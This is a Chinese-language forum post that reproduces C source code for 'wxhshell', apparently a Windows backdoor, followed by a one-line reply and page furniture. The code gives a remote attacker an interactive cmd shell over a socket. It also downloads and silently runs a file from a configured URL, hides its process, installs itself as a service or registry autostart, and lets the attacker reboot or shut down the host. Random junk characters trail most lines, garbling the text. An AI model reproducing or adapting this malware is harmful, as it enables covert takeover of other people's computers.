  if(strstr(cmd,"http://")) { _yiR h:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1% asx'^  
  if(DownloadFile(cmd,wsh)) ;gEp!R8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7t ZW^dF  
  else | A3U@>6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (W7;}gysh  
  } &fCP2]hj'  
  else { aB=vu=hF  
U)u\1AV5  
    switch(cmd[0]) { YR?3 61FK  
  $K+4C0wX`  
  // 帮助 Sjw2 j#Q  
  case '?': { 1RCXc>}/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RP,A!pa@  
    break; g8LT7  
  } di"C]" ;  
  // 安装 Tld1P69(  
  case 'i': { P{"  WlJ  
    if(Install()) 0[V&8\S~'T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m<R0  
    else Y0@'za^y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "kcpA#uD|  
    break; #.<*; rB  
    } o G (0i  
  // 卸载 w 9G_>+?E  
  case 'r': { ov?.:M  
    if(Uninstall()) I/^q+l.=`{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w Z49>Y  
    else Y8D7<V~Md  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p.@0=)  
    break; uo]Hi^r.l  
    } nu;} S!J  
  // 显示 wxhshell 所在路径 30A`\+^f  
  case 'p': { #S@UTJa  
    char svExeFile[MAX_PATH];  QpdujtH`  
    strcpy(svExeFile,"\n\r"); bc `UA  
      strcat(svExeFile,ExeFile); T g3:VD  
        send(wsh,svExeFile,strlen(svExeFile),0); <I>%m,  
    break; =@Q#dDnFu%  
    } m Y$nI -P  
  // 重启 %y~`"l$-  
  case 'b': { >W>##vK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X*TuQ\T  
    if(Boot(REBOOT)) L{cK^ ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;0~6uBEJr  
    else { 70'} f  
    closesocket(wsh); Bv2z4D4f+  
    ExitThread(0); +L^A:}L(  
    } rF Ko E%  
    break; AeNyZ[40T  
    } v(qV\:s}m  
  // 关机 `V]egdO  
  case 'd': { jf$JaY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bHhC56[M  
    if(Boot(SHUTDOWN)) ,"P5D&,_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .'l.7t  
    else { %MfGVx}nG  
    closesocket(wsh); 1bV2  
    ExitThread(0); T [T6  
    } w^ixMn~nLF  
    break; *Te4U5F  
    } 6Y;Y}E  
  // 获取shell S 23S.]r  
  case 's': { :'5G_4y)h  
    CmdShell(wsh); =giM@MV  
    closesocket(wsh); /Oq1q._9F  
    ExitThread(0); hg[l{)Q  
    break; 1$:{{%  
  } XX]5T`D  
  // 退出 DePV,.  
  case 'x': { MILIu;[{#r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y+K7WUwhq  
    CloseIt(wsh); AzHIp^  
    break; P`\m9"7  
    } ke3HK9P;  
  // 离开 - XE79 fQ  
  case 'q': { /2g)Z!&+L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %k/ k]: s  
    closesocket(wsh); IUh5r(d 68  
    WSACleanup(); 5en [)3E  
    exit(1); L eG7x7n  
    break; .\z|Fr  
        } ^4u3Q  
  } m&Y; /kr  
  } 8CHb~m@^$  
B(4:_ j\2  
  // 提示信息 Z]mM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /E`l:&89)  
} 3e!3.$4M  
  } Nw9-pQ  
,omp F$%  
  return; AJ;u&&c4C\  
} ka?IX9t\  
8w{#R{w  
// shell模块句柄 xm%[}Dt]  
int CmdShell(SOCKET sock) TEaD-mY3  
{ ,W)IVc   
STARTUPINFO si; q|47;bK'  
ZeroMemory(&si,sizeof(si)); z;fd#N:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l }2%?d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %\(y8QV  
PROCESS_INFORMATION ProcessInfo; &%f]-=~  
char cmdline[]="cmd"; % +kT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,xtK PA  
  return 0; L|]w3}ZT@  
} ch5`fm  
A@@)lD.  
// 自身启动模式 <F#*:Re_y  
int StartFromService(void) .oi}SG  
{ T3u5al  
typedef struct D,}'E0  
{ $nGbT4sc  
  DWORD ExitStatus; Z ,|1G6f@  
  DWORD PebBaseAddress; f_re"d 3u  
  DWORD AffinityMask; 5{R#h :  
  DWORD BasePriority; ? z)y%`}  
  ULONG UniqueProcessId; e' /  
  ULONG InheritedFromUniqueProcessId; Z30z<d,j  
}   PROCESS_BASIC_INFORMATION; $L<_uqSk  
I{?E/Sc  
PROCNTQSIP NtQueryInformationProcess; an$ ]IN  
G*vpf~q?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p:[`%<j0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? BHWzo!  
<FcPxZ  
  HANDLE             hProcess; *f0.=?  
  PROCESS_BASIC_INFORMATION pbi; )AnlFO+V  
zbIwH6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zJG x5JC  
  if(NULL == hInst ) return 0; (PsSE:r}+  
RB lOTQjv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0_,3/EWa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X YNUss  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |g?/~%7  
O, ``\(P  
  if (!NtQueryInformationProcess) return 0; )5GdvqA  
hSx+ {4PZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $+lz<~R  
  if(!hProcess) return 0; 6yu*a_  
lry& )G=5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D_yY0rRM  
 :kp  
  CloseHandle(hProcess); UALg!M#  
&m%Pr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K+h9bI/Sf  
if(hProcess==NULL) return 0; (2O} B.6  
CD8JYiJ  
HMODULE hMod; aiR|.opIb  
char procName[255]; uJ IRk$  
unsigned long cbNeeded; 8CnI%_Su  
-KIVnV=&m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A<YZBR_  
Mk'n~.mb  
  CloseHandle(hProcess); \c9t]py<.h  
48~m=mI  
if(strstr(procName,"services")) return 1; // 以服务启动 l# !@{ <  
NDIc?kj~  
  return 0; // 注册表启动 ld!6|~0U  
} O)U$Ef  
{0)WS}&  
// 主模块 /8$1[[[  
int StartWxhshell(LPSTR lpCmdLine) K)h"G#NZM  
{ I7G\X#,iz  
  SOCKET wsl; j;AzkReb  
BOOL val=TRUE; <D;H} ef  
  int port=0; Z0F>"Z _qn  
  struct sockaddr_in door; TN |{P  
l|ZzG4]+l  
  if(wscfg.ws_autoins) Install(); NqQ(X'W7  
Hz3 S^o7  
port=atoi(lpCmdLine); $@u^Jt, ?  
1VjeP *  
if(port<=0) port=wscfg.ws_port; /SqFP L]  
M|Dwk3#  
  WSADATA data; cT>z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U3_yEvZ  
q*RaX 4V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ltr;pc*)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F"m}mf  
  door.sin_family = AF_INET; bW 86Iw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Iu1Sj`A  
  door.sin_port = htons(port); 3|83Jnh  
t0asW5f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t5jhpPVf  
closesocket(wsl);  ,3@15j  
return 1; :E >n)_^  
} 7>2j=Y_Kp  
S"KTL*9D  
  if(listen(wsl,2) == INVALID_SOCKET) { ~\)&{ '  
closesocket(wsl); hyvV%z Z  
return 1; V&,<,iNN  
} 5cNzG4z  
  Wxhshell(wsl); (;2J(GZ:$U  
  WSACleanup(); {ck  
vq0M[Vy  
return 0; S!I <m&Cgc  
vU$O{|J  
} qs c-e,rl  
>nIcF m  
// 以NT服务方式启动 L1Cn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~g4rGz  
{ Q 5Ghki  
DWORD   status = 0; 9Pob|UA  
  DWORD   specificError = 0xfffffff; !iitx U  
7]. IT(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3 ?|; on  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <0Egkz3s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aji~brq  
  serviceStatus.dwWin32ExitCode     = 0; : 7DVc&0  
  serviceStatus.dwServiceSpecificExitCode = 0; SVs~,  
  serviceStatus.dwCheckPoint       = 0; j=jrzG+`  
  serviceStatus.dwWaitHint       = 0; E'BH7JV  
_@~kYz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FUqhSW  
  if (hServiceStatusHandle==0) return; dW^_tzfF7  
oIL+@}u7  
status = GetLastError(); qiKtR  
  if (status!=NO_ERROR) A6x_!  
{ ^`>Ysc(@&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zWmo OnK  
    serviceStatus.dwCheckPoint       = 0; w`#0 Y9O  
    serviceStatus.dwWaitHint       = 0; ! ^*;c#  
    serviceStatus.dwWin32ExitCode     = status; v$Y1+Ep9  
    serviceStatus.dwServiceSpecificExitCode = specificError; !K^kKP*l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NX{-D}1X=  
    return; }Mb'tGW  
  } Hj4w i|  
x+:,b~Skk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2wuW5H8w{  
  serviceStatus.dwCheckPoint       = 0; zUUxxS_?  
  serviceStatus.dwWaitHint       = 0; _~S^#ut+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W Pp\sIP  
} zRJKIm  
l6DIsR  
// 处理NT服务事件,比如:启动、停止 xc]C#q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $:gSc &mx  
{ C(|T/rQ-  
switch(fdwControl) K9N0kBJ0<  
{ >->xhlL*  
case SERVICE_CONTROL_STOP: ;pNbKf:  
  serviceStatus.dwWin32ExitCode = 0; z.9FDQLp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ) Q  
  serviceStatus.dwCheckPoint   = 0; m2< *  
  serviceStatus.dwWaitHint     = 0; ,Qi|g'a  
  { PN^1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eGypXf%  
  } rPGE-d3  
  return; <:;:*s3]  
case SERVICE_CONTROL_PAUSE: twHM~cTS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~S=fMv^BR  
  break; .6Lhy3x  
case SERVICE_CONTROL_CONTINUE: 59NWyi4i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wZ3 vF)2s  
  break; F']%q 0  
case SERVICE_CONTROL_INTERROGATE: U;Y}2  
  break; ND9>`I 5  
}; rIWN!@.J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h`;F<PFW  
} yJ`1},^  
j!_^5d#d  
// 标准应用程序主函数 *(q8?x0>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  q>.t~  
{ "O1*uwm  
*Qwhi&k  
// 获取操作系统版本 KRR^?  
OsIsNt=GetOsVer(); |`;1p@w"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^sn>p}Tg  
"`gZ y)E  
  // 从命令行安装 *0@; kD=  
  if(strpbrk(lpCmdLine,"iI")) Install(); $No>-^ )  
Hkz~9p  
  // 下载执行文件 $HCAC 4  
if(wscfg.ws_downexe) { BaTOh'52  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^]!1'xg  
  WinExec(wscfg.ws_filenam,SW_HIDE); YM.IRj2/1  
} /R$x-7t)^(  
sS2E8Z2  
if(!OsIsNt) { "KE38`NL  
// 如果时win9x,隐藏进程并且设置为注册表启动 d8 Nh0!  
HideProc(); O+Lb***b"  
StartWxhshell(lpCmdLine); 5b4V/d* '  
} . .je<   
else =?*"V-l  
  if(StartFromService()) c^)E:J/  
  // 以服务方式启动 70*iJ^|  
  StartServiceCtrlDispatcher(DispatchTable); U <$xp  
else nV xMo_  
  // 普通方式启动 ^8*SCM_A  
  StartWxhshell(lpCmdLine); s!fY^3  
M "P  
return 0; Y+`-~ 88  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八